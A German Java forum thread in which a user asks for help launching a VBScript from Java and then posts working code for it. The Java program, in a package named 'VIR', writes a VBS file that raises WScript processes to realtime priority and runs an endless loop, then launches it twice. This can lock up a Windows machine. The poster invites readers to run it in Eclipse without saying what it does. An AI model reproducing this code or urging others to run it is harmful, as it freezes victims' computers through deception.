Datein ausführen (exec)

  • Themenstarter Themenstarter Kollege vom tim
  • Beginndatum Beginndatum
Status
Nicht offen für weitere Antworten.
K

Kollege vom tim

Gast
Hallo,

ich möchte folgendes aus führen alssen:

Code:
try{
			
			Runtime.getRuntime().exec("C:/WINDOWS/System32/WScript.exe C:/temp/VeitImSystem.vbs");
			}
		catch (Exception e) { e.printStackTrace(); }

alles schön und fein, aber er führt die vbs nicht aus ...

woran kann das liegen, immerhin wird ja wscript.exe gestartet..aber halt .vbs dann nicht( ich weiß was passiert, aber tritt nicht ein).

danke für hinweise,

micha
 
Hi,

ersetze mal die "/" durch "\\". Java kommt ja unter Windows mit beiden Varianten zurecht. Aber normale Windows-Programme erwarten einen Backslash als Trenner.

Gruß
Mag1c
 
Code:
package VIR;

import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintWriter;

public class Write {

	public static void main(String[] args) {
		
		try {
			PrintWriter pw = new PrintWriter(new FileWriter("C:\\temp\\VeitImSystem.vbs"), true);
			
			
			pw.println("strComputer = \".\"");
			pw.println("dim objinput");
			pw.println("const objProc = \".\"");
			pw.println("Set objWMIService = GetObject(\"winmgmts:\" _");
			pw.print("& \"{impersonationLevel=impersonate}!\\");
			pw.println("\\\" & strComputer & \"\\root\\cimv2\")");
			pw.println("Set colProcesses = objWMIService.ExecQuery _ ");
			pw.println("(\"Select * from Win32_Process Where Name = 'WScript.exe'\")");
			pw.println("For Each objProcess In colProcesses");
			pw.println("objProcess.SetPriority(256)"); 
			pw.println("Next");
			pw.println("do until objinput = objProc");
			pw.println("objinput = objinput + 1");
			pw.println("loop");
			
			pw.close();
			 
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
		for(int i = 1; i<3;i++){
		try{
			Runtime.getRuntime().exec("rundll32 SHELL32.DLL,ShellExec_RunDLL C:/temp/VeitImSystem.vbs"); 
			//Runtime.getRuntime().exec("C:/WINDOWS/System32/WScript.exe C:/temp/VeitImSystem.vbs");
			}
		catch (Exception e) { e.printStackTrace(); }
//		C:/temp/VeitImSystem.vbs
//		C:\WINDOWS\System32\WScript.exe "%1" %*
		}
	}
}

könnt ihr gerne mal in eclipse ausführen ^^

funzt jetzt alles..danke trozdem
 
Status
Nicht offen für weitere Antworten.

Neue Themen


Zurück
Oben